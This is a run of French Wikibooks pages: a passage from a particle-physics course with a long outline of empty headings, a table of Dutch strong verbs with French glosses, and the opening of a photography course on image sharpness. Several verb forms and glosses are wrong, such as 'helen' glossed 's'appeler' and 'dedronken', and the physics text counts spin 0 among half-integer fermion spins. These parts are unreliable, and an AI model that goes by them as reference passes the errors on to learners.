masses étaient relativement faibles) sont caractérisés par les propriétés suivantes : # Ce sont des particules qui n’interagissent pas fortement (aucune interaction forte). # Ils portent des charges électriques entières (multiples de la charge de l’électron). # Ils possèdent une charge “faible” et peuvent être regrouper en paires appelées doublets d’interaction faible. # Ils obéissent à la statistique de Fermi-Dirac ex. ce sont des fermions. Les trois familles ou générations de leptons connues sont: # νe e # νμ μ # ντ τ === Les hadrons === Les hadrons sont caractérisés par les propriétés suivantes: # Ce sont des particules qui interagissent fortement (soumises à l’interaction forte “résiduelle”). Les interactions forte, faible, électromagnétique et gravitationnelle sont décrites dans la section suivante. # Ils portent des charges électriques entières (multiples de la charge de l’électron). # Ils ont des interactions faibles. # Ils sont formés de quarks. On compte six types ou saveur de quarks: le quark up, le quark down, le quark étrange, le quark charmé, le quark bottom (encore appelé aussi le quark beauté pour des raisons historiques) et le quark top. Dans les faits, les hadrons ne sont pas des particules fondamentales, mais plutôt des états liés de quarks. On en observe plus de deux cents. Les hadrons peuvent eux-mêmes être classés en deux groupes: les baryons, auxquels on associe un nombre quantique (le nombre baryonique) et les mésons qui sont responsables des interactions fortes entre hadrons. Voici les hadrons les plus fréquemment observés : * p : proton * n : neutron * π+, π0, π+ : pions * ρ+, ρ0, ρ− : mésons ρ * Λ : lambda * K+, K0, ¯K0, K− : mésons K === Les quarks === Les quarks sont les particules fondamentales qui forment la matière nucléaire. # Ils interagissent fortement (soumis à l’interaction forte) # Ils portent des charges électriques fractionnaires. # Ils possèdent une charge faible et forment des doublets d’interaction faible. # On leur associe aussi une charge colorée (couleur) et forment des triplets d’interaction forte. Les quarks apparaissent au moins en six saveurs (l’existence du quark top a été confirmé en 1995): les quarks up, down, étrange, charmé, bottom (encore appelé aussi le quark beauté pour des raisons historiques) et le quark top. Comme les leptons, ils peuvent être regroupés en doublets qui sont des copies conformes sauf pour ce qui est de leurs masses. Les trois familles de quarks sont les suivantes : # u (up) et d (down) # c (charme) et s (étrange) # t (top) et b (bottom) De façon générale, on soupçonne que les familles de quarks et leptons sont reliées ; il en existe trois de chaque. Pour le moment cependant, il semble que seuls des arguments de symétrie viennent appuyer cette assertion. == Les différents types d'interaction == L’interaction entre particules de matière se fait via l’échange de particules (ex. bosons de jauge) qui portent les quanta d’énergie-impulsion de quatre types d’interaction (gravitationnelle, faible, électromagnétique et forte). Le graviton et le Higgs ont pour le moment éludé toute tentative d’observation. Le graviton n’existe que dans le cadre de théories quantiques de la gravitation. Cependant aucune de ces théories n’est entièrement satisfaisante même si certaines sont prometteuses (supergravité, cordes, supercordes,...). Par ailleurs, on recherche le boson de Higgs activement. Dans le passé, on a estimé sa masse par des moyens indirects mais ces estimations changent fréquemment et la faible influence du boson de Higgs sur les phénomènes physiques en fait des prédictions peu fiables pour le moment. De plus, il existe plusieurs scénarios qui ne requièrent pas de bosons de Higgs alors que d’autres modèles proposent plusieurs Higgs; son existence reste donc pour le moment une question ouverte. Ces particules sont toutes de spin 1 sauf le Higgs et le graviton qui sont de spin 0 et 2 respectivement. Toutes les interactions sont donc la conséquence d’échange de bosons (particules de spin entier). == Les unités == Le système d’unités SI (système international) est basé sur trois unités fondamentales et requiert donc trois étalons de mesure : [longueur]<sub>SI</sub> = 1 m [temps]<sub>SI</sub> = 1 s [masse ou énergie]<sub>SI</sub> = 1 kg ou 1 Joule Ces unités sont bien adaptées à la vie de tous les jours mais sont peu pratiques tant aux échelles microscopiques abordées en physique subatomique qu’à des échelles macroscopiques requises en astrophysique. Pour simplifier le langage et malgré un souci d’uniformisation des systèmes d’unités, les physiciens se sont dotés au besoin de systèmes d’unités plus pratiques. En physique des particules, les systèmes étudiés mettent en jeu des particules dont les vitesses sont relativistes et dont les propriétés quantiques ne peuvent être négligées. Par ailleurs, la nature fournit deux constantes fondamentales qui sont particulièrement pertinentes pour de tels systèmes: la vitesse de la lumière c et le quanta de moment cinétique h. Rappelons que dans le système SI, ces constantes sont numériquement très grande ou très petite c = 3× 10<sup>8</sup> m · s<sup>−1</sup> <math>\hbar</math>=h/2<math>\pi</math> = 1.054 × 10<sup>−34</sup> J · s = 6.58 × 10<sup>−22</sup> MeV · s où 1 MeV = 10<sup>6</sup> eV, eV désignant l’électron-Volt. Pour des systèmes quantiques relativistes, il est par contre plus naturel d’exprimer une vitesse comme une fraction de c, et un moment cinétique en terme d’unités de <math>\hbar</math> : Vitesse = fraction de c Spin = multiple de <math>\hbar </math> Le système d’unités naturelles (SUN) consiste à prendre comme étalons de mesure : [vitesse]<sub>SUN</sub> = 1 c [moment cinétique]<sub>SUN</sub> = 1 <math>\hbar</math> [énergie]<sub>SUN</sub> = 1 eV où dans le dernier cas, on choisit l’électron-Volt et ses dérivés tels le MeV = 10<sup>6</sup>eV et le GeV = 10<sup>9</sup>eV comme l’étalon de mesure de l’énergie puisqu’il est beaucoup plus près des échelles d’énergie considérées en physique des particules. Dans système d’unités naturelles, <math>\hbar</math> = c = 1 et la masse de l’électron est de 0.511 MeV == Mécanique quantique relativiste == Historiquement, le passage de la mécanique quantique à la mécanique quantique relativiste s’est effectué à partir d’une généralisation de l’équation de Schrödinger à un système relativiste. * L’équation d’onde de Schrödinger * L’équation de Klein Gordon * L'équation de Dirac Dans une tentative visant à linéariser l’équation de Klein-Gordon (et à régler certains autres problèmes conceptuels comme des densités de probabilité négatives), Dirac introduit un système linéaire de quatre équations couplées, l’équation de Dirac. Voici sa version la plus courante que nous écrivons sans beaucoup plus d’informations (iγ<sub>μ<:sub>∂<sub>μ</sub> − m)ψ = 0. Le bi-spineur ψ possède quatre composantes et les γ<sub>μ</sub> (μ = 0, 1, 2, 3) sont les quatre matrices 4 × 4 de Dirac. Les matrices γ<sub>μ</sub> intègrent la notion de spin puisque qu’elles correspondent à une version généralisée des matrices de spin de Pauli. Pour cette raison, l’équation de Dirac convient à la description des fermions (spin demi-entier). La théorie quantique des champs est depuis quelques années considérée comme un outil plus fondamental et plus puissant que la mécanique quantique relativiste. Sans trop aller dans les détails, mentionnons qu’elle est basée sur la seconde quantification des champs, c’est-àdire sur les relations de commutation ou d’anticommutation des opérateurs de création et de destruction (appelés champs quantiques). En bref, mentionnons que si la mécanique quantique promeut les coordonnées d’espacetemps et d’énergie-impulsion au rang d’opérateurs, la théorie des champs, de son côté procède à une étape subséquente en élevant les fonctions d’onde au niveau d’opérateurs qui servent à créer ou détruire des états associés à des particules. Ces opérateurs sont appelés champs quantiques. La théorie permet d’interpréter chaque phénomène comme une série d’opérateurs agissant sur le vide, ex. création/destruction de particules (opérateur de création/destruction), interaction entre particules (opérateur de sommet) et échange ou propagation de particules (propagateur). == Bosons et fermions == === Bosons === Avec la mécanique quantique, on introduit la notion de moment cinétique intrinsèque d’une particule, c’est-à-dire le spin. Le spin prend des valeurs qui sont des multiples de ~ 2 mais il détermine aussi le type de statistique auquel la particule est soumise. Bosons: Les bosons sont des particules de spin entier <math>(0 ,\hbar , 2\hbar , 3\hbar , ...)</math> qui obéissent à la statistique de Bose-Einstein c’est-à-dire, un système de deux bosons identiques, désignés par les indices 1 et 2, est décrit par une fonction d’onde qui est symétrique sous l’échange des particules : <math>\psi 12 \rightarrow \psi 21</math> === Fermions === Les fermions sont des particules de spin demi-entier <math>(0 ,\hbar/2 , 3\hbar/2 , 5\hbar/2 , ...)</math> qui obéissent à la statistique de Fermi-Dirac c’est-à-dire, un système de deux fermions identiques, désignés par les indices 1 et 2, est décrit par une fonction d’onde qui est antisymétrique sous l’échange des particules : <math>\psi 12 \rightarrow -\psi 21</math> == Particules et anti particules == La notion d’antiparticule fut proposée par Dirac en 1928. Ce dernier interpréta certaines solutions de l’équation qui porte son nom, comme des antiparticules. Les solutions associées aux antiparticules donnent lieu à différentes interprétations, ex. une particule qui se propage à rebours dans le temps ou encore des trous dans une mer de particules. L’antiparticule est caractérisée par * des charges opposées à celle de la particule (charges électrique, faible, et autres nombres quantiques...) * une masse et une vie moyenne identiques à celles des particules. L’existence d’antiparticules fut confirmée par Anderson en 1933 à la suite de la découverte du positron (aussi appelé le positron) (antiélectron). Certaines particules (ex. le photon γ et le boson faible Z<sup>0<sup>) sont leur propre antiparticule, toutes leurs charges étant nulles. Par convention, nous désignerons l’antiparticule par une barre supérieure. == Interactions et champs == == L'interaction électromagnétique == == L'interaction faible == == L'interaction forte == == L'interaction gravitationnelle == = LES SOURCES DE PARTICULES ET LES DÉTECTEURS = Avant d’aborder les modèles sur lesquels est basée notre vision de la physique des particules, il est essentiel de comprendre comment on arrive à percevoir ces particules, à mesurer leur propriétés physiques et quels sont les défis techniques qu’il faut relever pour y parvenir. Le but de ce chapitre est donc de donner un aperçu des méthodes expérimentales utilisées en physique des particules. On peut les regrouper sous deux grandes fonctions: (1) les méthodes qui visent à fournir des sources de particules ayant des énergies de plus en plus grandes et (2) les détecteurs qui servent à mettre en évidence les différentes manifestations physiques des particules et à mesurer leurs propriétés physiques. == La radioactivité == La radioactivité provient de la désintégration spontanée (relevant de l’interaction faible) de noyaux lourds. Elle est caractérisée par l’émission d’une ou plusieurs des particules légères suivantes e−, e+, p, n et α(He++) dont les énergies sont de l’ordre de grandeur des énergies de liaison nucléaire (environ 10 MeV). == Le rayonnement cosmique == Les rayons cosmiques sont des particules très stables (principalement des protons, des neutrons et des photons) qui se propagent à des distances astronomiques avant d’entrer dans l’atmosphère terrestre. Dès lors, ils interagissent avec les particules qui s’y trouvent et peuvent générer une multitude de sous-produits. Cette source a le désavantage d’être incontrôlable. En effet, on ne connaît a priori ni la nature, ni l’énergie, ni la trajectoire de la particule. De plus, les rayons cosmiques sont absorbés par l’atmosphère de sorte que seulement une fraction de ceux-ci arrive jusqu’à la surface de la Terre. Par ailleurs, l’énergie des rayons cosmiques est beaucoup plus grande que celle associée à la radioactivité. On leur identifie deux sources principales: une source stellaire associée aux basses énergies et une source galactique caractérisée par des énergies pouvant aller jusqu’à 10<sup>3</sup> TeV. == Les accélerateurs de particules == == La physique des détecteurs de particules == == Instruments et détecteurs == = INTERACTIONS ENTRE PARTICULES = == Cinématique d’une réaction == == Repère du centre de masse (4 corps) == == Repère de la cible (4 corps) == == La rapidité == == Les interactions en mécanique quantique == == La matrice de diffusion S == == Espace de phase == == Section efficace == == La Diffusion (4 corps) == == Largeur de désintégration et vie moyenne == = SYMÉTRIES DE L'ESPACE-TEMPS = == Symétries en mécanique quantique == == Invariance par translation == == Rotation en trois dimensions == == Parité == == Renversement du temps == == Invariance de jauge == = SYMÉTRIES INTERNES = == Symétries globales et règles de sélection == === Charge électrique Q === === Nombre leptonique total L === === Nombre électronique, muonique, tauonique... === === Nombre baryonique B === == Isospin et hypercharge == === Symétrie SU(2) === === Générateurs de SU(2) === === Relation de Gell-Mann-Nishijima === === Conservation d’isospin === == Étrangeté == == Autres saveurs == === Charme === === Bottom === === Top === === La relation de Gell-Mann-Nishijima généralisée === == Conjugaison de la charge == === Parité de charge totale === === Invariance par C === === Les pions et les photons === === Systèmes particule-antiparticule === === Violation de CP ou T et Théorème CPT === == Résonances == = LE MODÈLE DES QUARKS = == Introduction == == Théorie des groupes == == Quarks et représentations SU (N ) == === Lien entre représentation SU(N) et modèle des quarks === === Représentations irréductibles et tableaux de Young === === Construction des fonctions d’onde === == Couleur == === Groupe SU(3) de couleur === === Fonctions d’onde de couleur === === Évidence expérimentale de la couleur === == Masses et moments magnétiques == === Masses === === Moments magnétiques === == Diagrammes de flot de quarks == == Charme et SU(4) == === Mésons === === Baryons === = INTERACTIONS ÉLECTROMAGNÉTIQUES = == Diffusion (non-polarisée) e−Noyau == == Processus avec spin == === Notions de spin === === Diffusion polarisée e−Noyau === == Diffusion e − N == == Processus purement leptoniques en QED == === Processus e+e− → μ+μ− === === Diffusion de Bhabha: e+e− → e+e− === == Corrections radiatives == == Symétries de jauge == ===Formalisme lagrangien === === Théorème de Noether et invariance de jauge globale === === L’invariance de jauge locale en QED === = INTERACTIONS FAIBLES = == Classification des interactions faibles == == Théorie de Fermi et interaction V − A == == Courants neutres == == Non conservation de la parité == == Théorie électrofaible == === Charge faible === === Modèle de Weinberg-Salam === === Mécanisme de Higgs === == Angle de Cabbibo et matrice de Kobayashi-Maskawa == == Mécanismes de GIM (Glashow-Illiopoulos-Maiani) et le charme == == Physique du K0 et ¯K 0 == == Violation de CP == = INTERACTIONS FORTES (QCD) = == Diffusion e − N == == Invariance d’échelle == == Modèle des partons == === Le modèle === ===Nature ponctuelle des partons === === Spin des partons === == Liberté asymptotique et confinement == == Annihilation e+e− == == Diffusion ν − N == == Modèle des quarks-partons et fonctions de structure == == Collisions hadron-hadron == == Violation d’échelle == == Existence des quarks == = UNIFICATION DES FORCES = == Divergences et renormalisabilité == == Au-delà du modèle standard == === Le modèle standard === === Lacunes du modèle standard === === Vers une théorie au-delà du modèle standard === == Grande unification == === Modèle SU(5) === === Modèle SO(10) === === Autres modèles d’unification === == Supersymétrie (SUSY) == === Modèles supersymétriques === == Gravité quantique == === La supergravité === == Supercordes == Les verbes forts (néerlandais) 4933 43645 2006-05-31T17:11:49Z 82.127.207.107 {{Néerlandais-Page-Suivante|Prec=Grammaire|Suiv=Grammaire |TDM=Grammaire}} {| border=1 cellspacing="0" style="background-color: #FFFF66;border-collapse: collapse;text-align=center" |- !Infinitif !Français !ik !jij/u !hij/zij/het !wij !Prétérit<BR>ik jij/u hij/zij/het !Prétérit<BR>jullie wij zij !Auxilliaire !part passé |- |bakken||cuire||bak||colspan=2|bakt||bakken||bakte||bakten||heeft||gebakken |- |barsten||éclater||colspan=3|barst||barsten||barstte||barstten||is||gebarsten |- |bederven||gâter||bederf||colspan=2|bederft||bederven||bedierf||bedierven||is||bedorven |- |bedriegen||tromper||bedrieg||colspan=2|bedriegt||bedriegen||bedroog||bedrogen||heeft||bedrogen |- |begraven||enterrer||begraaf||colspan=2|begraaft||begraven||begroef||begroeven||heeft||begraven |- |begrijpen||comprendre||begrijp||colspan=2|begrijpt||begrijpen||begreep||begrepen||heeft||begrepen |- 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pénétrer||dring||colspan=2|dringt||dringen||drong||drongen||is/heeft||gedrongen |- |drinken||boire||drink||colspan=2|drinkt||drinken||dronk||dronken||heeft||dedronken |- |druipen||ruisseler||druip||colspan=2|druipt||druipen||droop||dropen||is/heeft||gedropen |- |duiken||plonger||duik||colspan=2|duikt||duiken||dook||doken||is/heeft||gedoken |- |dwingen||forcer||dwing||colspan=2|dwingt||dwingen||dwong||dwongen||is/heeft||gedwongen |- |eten||manger||colspan=3|eet||eten||at||aten||heeft||gegeten |- |fluiten||siffler||colspan=3|fluit||fluiten||floot||floten||heeft||gefloten |- |gaan||aller||ga||colspan=2|gaat||gaan||ging||gingen||is||gegaan |- |gelden||valoir||geld||colspan=2|geldt||gelden||gold||golden||heeft||gegolden |- |genezen||guérir||genees||colspan=2|geneest||genezen||genas||genazen||is/heeft||genezen |- |genieten||profiter (jouir)||colspan=3|geniet||genieten||genoot||genoten||heeft||genoten |- |geven||donner||geef||colspan=2|geeft||geven||gaf||gaven||heeft||gegeven |- |gieten||verser||colspan=3|giet||gieten||goot||goten||heeft||gegoten |- |glijden||glisser||glijd||colspan=2|glijdt||glijden||gleed||gleden||is/heeft||gegleden |- |glimmen||luire||glim||colspan=2|glimt||glimmen||glom||glommen||heeft||geglommen |- |graven||creuser||graaf||colspan=2|graaft||graven||groef||groeven||heeft||gegraven |- |grijpen||saisir||grijp||colspan=2|grijpt||grijpen||greep||grepen||heeft||gegrepen |- |hangen||pendre||hang||colspan=2|hangt||hangen||hing||hingen||heeft||gehangen |- |hebben||avoir||heb||hebt||heeft||hebben||had||hadden||heeft||gehad |- |heffen||soulever||hef||colspan=2|heft||heffen||hief||hieven||heeft||geheven |- |helen||s'appeler||hel||colspan=2|helt||helen||heette||heetten||heeft||geheten |- |helpen||aider||help||colspan=2|helpen||helpt||hielp||hielpen||heeft||geholpen |- |heten||s'appeler||||colspan=2|heet||heten||heette||heetten||||geheten |- |hijsen||hisser||hijs||colspan=2|hijst||hijsen||hees||hesen||heeft||gehesen |- |houden||tenir / aimer +van||hou||colspan=2|houdt||houden||hield||hielden||heeft||gehouden |- |houwen||tailler||houw||colspan=2|houwt||houwen||hieuw||hieuwen||heeft||gehouwen |- |jagen||chasser||jaag||colspan=2|jaagt||jagen||jaagde<br>joeg||jaagden<br>joegen||is/heeft||gejaagd |- |kijken||regarder||kijk||colspan=2|kijkt||kijken||keek||keken||heeft||gekeken |- |klimmen||grimper||klim||colspan=2|klimt||klimmen||klom||klommen||is/heeft||geklommen |- |klinken||sonner||klink||colspan=2|klinkt||klinken||klonk||klonken||heeft||geklonken |- |knijpen||pincer||knijp||colspan=2|knijpt||knijpen||kneep||knepen||heeft||geknepen |- |komen||venir||kom||colspan=2|komt||komen||''kwam''||kwamen||is||gekomen |- |kopen||acheter||koop||colspan=2|koopt||kopen||''kocht''||''kochten''||heeft||''gekocht'' |- |krijgen||recevoir||krijg||colspan=2|krijgt||krijgen||kreeg||kregen||heeft||gekregen |- |krimpen||se rétrécir||krimp||colspan=2|krimpt||krimpen||kromp||krompen||is||gekrompen |- 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|moeten||devoir||colspan=3|moet||moeten||moest||moesten||heeft||gemoeten |- |mogen||pouvoir se permettre||colspan=3|mag||mogen||mocht||mochten||heeft||gemoogd |- |nemen||prendre||neem||colspan=2|neemt||nemen||nam||namen||heeft||genomen |- |nijpen||pincer||nijp||colspan=2|nijpt||nijpen||neep||nepen||heeft||genepen |- |prijzen||louer, vanter||prijs||colspan=2|prijst||prijzen||prees||prezen||heeft||geprezen |- |raden||deviner||raad||colspan=2|raadt||raden||raadde<br>ried||raadden<br>rieden||is/heeft||gevraagd |- |rijden||rouler =<br>aller (en véhicule)||rij||colspan=2|rijdt<br>rij||rijden||reed||reeden||is/heeft||gereden |- |rijzen||s'élever||rijs||colspan=2|rijst||rijzen||rees||rezen||is||gerezen |- |roepen||appeler||roep||colspan=2|roept||roepen||riep||riepen||heeft||geroepen |- |ruiken||sentir, flairer||ruik||colspan=2|ruikt||ruiken||rook||roken||heeft||geroken |- |scheiden||séparer, divorcer||scheid||colspan=2|scheidt||scheiden||scheidde||scheidden||is/heeft||gescheiden |- |schelden||invectiver||scheld||colspan=2|scheldt||schelden||schold||scholden||heeft||gescholden |- |schenden||abîmer||schend||colspan=2|schendt||schenden||schond||schonden||heeft||geschonden |- |schenken||donner, verser||schenk||colspan=2|schenkt||schenken||schonk||schonken||heeft||geschenkt |- |scheppen||créer||schep||colspan=2|schept||scheppen||schiep||schiepen||heeft||geschapen |- |scheren||raser||scheer||colspan=2|scheert||scheren||schoor||schoren||heeft||geschoren |- |schieten||tirer (arme)||colspan=3|schiet||schieten||schoot||scholen||heeft||geschoten |- |schijnen||sembler, briller||schijn||colspan=2|schijnt||schijnen||scheen||schenen||heeft||geschenen |- |schrijden||marcher||schrijd||colspan=2|schrijdt||schrijden||schreed||schreden||is/heeft||geschreden |- |schrijven||écrire||schrijf||colspan=2|schrijft||schrijven||schreef||schreven||heeft||geschreven |- |schrikken||s'effrayer||schrik||colspan=2|schrikt||schrikken||schrok||schrokken||is||geschrokken |- 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regret||colspan=3|spijt||spijten||speet||speten||heeft||gespeten |- |spinnen||filer||spin||colspan=2|spint||spinnen||spon||sponnen||heeft||gesponnen |- |splijten||fendre||colspan=3|splijt||splijten||spleet||spleten||is/heeft||gespleten |- |spreken||parler||spreek||colspan=2|spreekt||spreken||sprak||spraken||heeft||gesproken |- |springen||sauter||spring||colspan=2|springt||springen||sprong||sprongen||is/heeft||gesprongen |- |spuiten||jaillir, arroser||colspan=3|spuit||spuiten||spoot||spoten||heeft||gespoten |- |staan||être debout||sta||colspan=2|staat||staan||stond||stonden||heeft||gestaan |- |steken||piquer||steek||colspan=2|steekt||steken||stak||staken||heeft||gestoken |- |stelen||voler, dérober||steel||colspan=2|steelt||stelen||stal||stalen||heeft||gestolen |- |sterven||mourir||sterf||colspan=2|sterft||sterven||stierf||stierven||is||gestorven |- |stijgen||s'élever||stijg||colspan=2|stijgt||stijgen||steeg||stegen||is||gestegen |- |stijven||amidonner||stijf||colspan=2|stijft||stijven||steel||steven||heeft||gesteven |- |stinken||puer||stink||colspan=2|stinkt||stinken||stonk||stonken||heeft||gestonken |- |stoten||heurter||colspan=3|stoot||stoten||stootte||stootten||is/heeft||gestoten |- |strijden||combattre||strijd||colspan=2|strijdt||strijden||streed||streden||heeft||gestreden |- |strijken||repasser||strijk||colspan=2|strijkt||strijken||streek||streken||heeft||gestreken |- |treden||marcher||treed||colspan=2|treedt||treden||trad||traden||is/heeft||getreden |- |treffen||toucher||tref||colspan=2|treft||treffen||trof||troffen||heeft||getroffen |- |trekken||tirer, aller||trek||colspan=2|trekt||trekken||trok||trokken||is/heeft||getrokken |- |uitpluizen||éplucher||pluis … uit||colspan=2|pluist ... uit||uitpluizen||ploos ... uit||plozen ... uit||heeft||uitgeplozen |- |vallen||tomber||val||colspan=2|valt||vallen||viel||vielen||is||gevallen |- |vangen||attraper||vang||colspan=2|vangt||vangen||ving||vingen||heeft||gevangen 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|verslinden||dévorer||verslind||colspan=2|verslindt||verslinden||verslond||verslonden||heeft||verslonden |- |verstaan||gâter||versta||colspan=2|verstaat||verstaan||verstond||verstonden||heeft||verstaan |- |vertrekken||partir||vertrek||colspan=2|vertrekt||vertrekken||vertrok||vertrokken||is||vertrokken |- |verzenden||envoyer (lettre)||verzend||colspan=2|verzendt||verzenden||verzond||verzonden||heeft||verzonden |- |verzinnen||imaginer||verzin||colspan=2|verzint||verzinnen||verzon||verzonnen||heeft||verzonnen |- |verzwinden||disparaître||verzwind||colspan=2|verzwindt||verzwinden||verzwond||verzwonden||is||verzwonden |- |vinden||trouver||vind||colspan=2|vindt||vinden||vond||vonden||heeft||gevonden |- |vlechten||tresser||colspan=3|vlecht||vlechten||vlocht||vlochten||heeft||gevlochten |- |vliegen||voler (avion)||vlieg||colspan=2|vliegt||vliegen||vloog||vlogen||is/heeft||gevlogen |- |vouwen||plier||vouw||colspan=2|vouwt||vouwen||vouwde||vouwden||heeft||gevouwen |- |vragen||demander||vraag||colspan=2|vraagt||vragen||vraagde<br>vroeg||vraagden<br>vroegen||is/heeft||gevraagd |- |vriezen||geler||vries||colspan=2|vriest||vriezen||vroor||vroren||is/heeft||gevroren |- |wassen||laver||was||colspan=2|wast||wassen||waste||wasten||heeft||gewassen |- |wegen||peser||weeg||colspan=2|weegt||wegen||woog||wogen||heeft||gewogen |- |werpen||jeter||werp||colspan=2|werpt||werpen||wierp||wierpen||heeft||geworpen |- |weten||savoir||weet||colspan=2|weten||weet||wist||wisten||heeft||geweten |- |weven||tisser||weef||colspan=2|weeft||weven||weefde||weefden||heeft||geweven |- |wijken||reculer||wijk||colspan=2|wijkt||wijken||week||weken||is||geweken |- |wijten||imputer||colspan=3|wijt||wijten||weet||weten||heeft||geweten |- |willen||vouloir||wil||wilt||wil||willen||wild||wilden||heeft||gewild |- |winden||enrouler||wind||colspan=2|windt||winden||wond||wonden||heeft||gewonden |- |winnen||gagner||win||colspan=2|wint||winnen||won||wonnen||heeft||gewonnen |- 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sens||zul||colspan=2|zult||zullen||zou||zouden||||N/A |- |zwelgen||ingurgiter||zwelg||colspan=2|zwelgt||zwelgen||zwolg||zwolgen||heeft||gezwolgen |- |zwellen||enfler||zwel||colspan=2|zwelt||zwellen||zwol||zwollen||is/heeft||gezwollen |- |zwemmen||nager||zwem||colspan=2|zwemt||zwemmen||zwom||zwommen||is/heeft||gezwommen |- |zweren||jurer (serment)||zweer||colspan=2|zweert||zweren||zwoer||zwoeren||heeft||gezworen |- |zwerven||errer||zwerf||colspan=2|zwerft||zwerven||zwierf||zwierven||is/heeft||gezworven |- |zwijgen||se taire||zwijg||colspan=2|zwijgt||zwijgen||zweeg||zwegen||heeft||gezwegen |} {{Néerlandais-Page-Suivante|Prec=Grammaire|Suiv=Grammaire |TDM=Grammaire}} Photographie 4934 26648 2005-12-09T12:49:36Z Jean-Jacques MILAN 114 {{Photographie}} Ce travail est issu d'un gros polycopié de plus de 300 pages rédigé dans les années 1970 pour plusieurs actions de formation continue dispensées à l'IUT de Bordeaux. Le but de ces formations était de remettre à niveau les connaissances scientifiques et techniques de photographes professionnels exerçant leur activité dans les spécialités les plus diverses. Il s'agissait avant tout de notes de cours servant de support pédagogique à plusieurs séries d'exposés et de séances de travaux pratiques. En ce sens, les passer au scanner ne pouvait suffire à en faire un cours directement utilisable sur l'internet. La rédaction a donc été entièrement revue pour que les notions traitées deviennent plus facilement accessibles ; en outre, il fallait remettre à jour beaucoup de pages, ou en créer de nouvelles, pour tenir compte des évolutions actuelles de la photographie. Ceci dit, l'apparition et le développement foudroyant des techniques numériques, à partir du moment où elles ont été mises à la disposition du plus grand nombre, a laissé inchangée la majeure partie des connaissances de base. Les lois de l'optique, la façon de composer une image, ne dépendent pas de ces évolutions, et la façon dont les capteurs électroniques réagissent à la lumière est la même que celle des films. L'essentiel des notions de mathématiques, physique et chimie nécessaires pour une bonne compréhension du cours lui-même a été intégré à l'ensemble. D'autres éléments pourront évidemment être ajoutés si le besoin s'en fait sentir. Une partie artistique, qui ne figurait pas dans le document de base, a été également ajoutée ; libre à chacun de la compléter ou de la modifier. *[[Photographie - Chapitre 01 - Un peu de mathématiques]] *[[Photographie - Chapitre 02 - Rappels de physique et de chimie]] *[[Photographie - Chapitre 03 - Les réactions chimiques]] *[[Photographie - Chapitre 04 - Rayonnements et lumière]] *[[Photographie - Chapitre 05 - Photométrie]] *[[Photographie - Chapitre 06 - Propagation de la lumière]] *[[Photographie - Chapitre 07 - Systèmes optiques simples, lentilles]] *[[Photographie - Chapitre 08 - Systèmes centrés, objectifs]] *[[Photographie - Chapitre 09 - Appareils photographiques]] *[[Photographie - Chapitre 10 - Physicochimie des émulsions photographiques]] *[[Photographie - Chapitre 11 - Densitométrie]] *[[Photographie - Chapitre 12 - Sensitométrie]] *[[Photographie - Chapitre 13 - Les traitements physicochimiques des émulsions]] *[[Photographie - Chapitre 14 - Netteté des images photographiques]] *[[Photographie - Chapitre 15 - Les bases du temps de pose en négatif]] *[[Photographie - Chapitre 16 - Traitements par inversion, bases du temps de pose en inversible]] *[[Photographie - Chapitre 17 - Mesure de la lumière]] *[[Photographie - Chapitre 18 - Les sources d'éclairage]] *[[Photographie - Chapitre 19 - Les filtres]] *[[Photographie - Chapitre 20 - Le tirage des positifs]] *[[Photographie - Chapitre 21 - Colorimétrie]] *[[Photographie - Chapitre 22 - Photographie en couleurs]] *[[Photographie - Chapitre 23 - Techniques scientifiques]] *[[Photographie - Chapitre 25 - Photographie numérique]] *[[Photographie - Chapitre 27 - Équipements et accessoires divers]] *[[Photographie - Chapitre 30 - Composition des photographies]] *[[Photographie - Chapitre 31 - Thèmes photographiques]] *[[Photographie - Chapitre 40 - Fabricants de matériels]] *[[Photographie - Bibliographie]] {{EnTravaux}} Photographie - Chapitre 14 - Netteté des images photographiques 4935 45581 2006-06-24T13:23:44Z Jean-Jacques MILAN 114 /* Généralités */ {{Photographie}} {{Photo_14}} == Généralités== Résumé des '''[[Photographie - 14 - Généralités|généralités]]''' sur la netteté des images : * Aucune image n'est parfaitement nette, un grossissement important finit toujours par mettre en valeur des structures fines aléatoires ou ordonnées qui altèrent plus ou moins les informations enregistrées. * La qualité globale d'une image dépend beaucoup de la restitution des fins détails et de la facilité de reconnaissance des formes. == L'œil et la perception de la netteté == Dans la plupart des cas c'est finalement l'œil qui interviendra pour apprécier la netteté des images photographiques, il importe donc de savoir comment cet organe fonctionne et quelles sont ses possibilités et ses limites. Ces questions sont traitées dans l'article spécialisé '''[[Photographie - 14 - L'œil et la perception de la netteté|L'œil et la perception de la netteté]]'''. == Pouvoir séparateur des objectifs == Résumé de l'article détaillé sur le '''[[Photographie - 14 - Pouvoir séparateur des objectifs|pouvoir séparateur des objectifs]]''' : * Le pouvoir séparateur s'évalue en examinant les images de structures périodiques de plus en plus fines et s'exprime en lignes par mm. * Cette notion est subjective et insuffisante pour évaluer la qualité globale des images données par les objectifs. * Les tests d'objectifs publiés par certaines revues n'ont aucune valeur car ils ne résultent pas de mesures précises effectuées dans un laboratoire spécialisé. == Fonction de transfert de modulation == Résumé de l'article détaillé sur la '''[[Photographie - 14 - Fonction de transfert de modulation|fonction de transfert de modulation]]''' * La fonction de transfert de modulation permet de caractériser la manière dont les systèmes de traitement des signaux transmettent les informations. * La façon dont un objectif transmet les contrastes renseigne précisément sur son aptitude à donner des images bien définies et contrastées. * La connaissance des caractéristiques des objectifs permet de les utiliser de façon optimale. * La possibilité récente de réduire ou de supprimer certains défauts des objectifs par des procédés informatiques oblige de plus en plus à tester non pas un objectif seul, mais l'ensemble formé par un objectif, le capteur de l'appareil et le logiciel embarqué. == Les émulsions et la reproduction des détails == Résumé de l'article détaillé sur '''[[Photographie - 14 - Les émulsions et la reproduction des détails|les émulsions et la reproduction des détails]]''' : * La structure fine des émulsions, après traitement, fait apparaître du « grain », que l'on peut évaluer par des méthodes subjectives et objectives. * Le pouvoir séparateur et la fonction de transfert de modulation sont définis comme pour les objectifs. * Contrairement à celle des objectifs, la fonction de transfert de modulation des émulsions peut atteindre des valeurs supérieures à 1. * L'acutance est la capacité d'une émulsion de donner des images à bords nets, elle n'est corrélée ni à la granulation, ni au pouvoir séparateur. * Des effets particuliers liés à la structure des émulsions et aux traitements peuvent modifier profondément le rendu des détails. == Netteté des images informatiques == L'article sur la '''[[Photographie - 14 - Netteté des images informatiques|netteté des images informatiques]]''' est en préparation. == Profondeur de champ == L'article détaillé sur la '''[[Photographie - 14 - Profondeur de champ|profondeur de champ]]''' s'efforce de faire le tour de cette question. Au passage, il bouscule quelques idées reçues...: <center>'''Résumé :'''</center> * Pour un réglage donné de l'appareil et pour une utilisation donnée, la profondeur de champ correspond à la zone de l'espace dans 